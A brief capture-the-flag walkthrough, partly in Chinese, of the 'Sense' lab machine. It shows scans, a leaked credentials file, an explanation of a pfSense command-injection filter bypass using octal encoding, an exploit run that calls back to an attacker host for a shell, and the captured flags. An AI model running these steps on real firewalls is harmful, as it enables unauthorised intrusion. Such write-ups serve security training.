[Meachines] [Easy] Sense PFSense防火墙RCE
信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.60 | TCP:80,443 |
$ nmap -p- 10.10.10.60 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
HTTPS
https://10.10.10.60/
$ gobuster dir -u "https://10.10.10.60/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50 -k
$ curl "https://10.10.10.60/system-users.txt" -k
username:rohit password:pfsense
PFSense防火墙-RCE
$ searchsploit -w PFSense 2.1.3
pfSense的status_rrd_graph_img.php页面在处理graph参数时存在命令注入漏洞。尽管对graph参数进行了正则表达式过滤，但管道字符（|）未被移除。通过使用八进制编码，可以绕过非法字符的过滤，注入并执行任意操作系统命令。
$ python3 exp.py --rhost 10.10.10.60 --lhost 10.10.16.14 --lport 10032 --username rohit --password pfsense
User.txt
8721327cc232073b40d27d9c17e7348b
Root.txt
d08c32a5d4f8c8b10e76eb51a69f1a86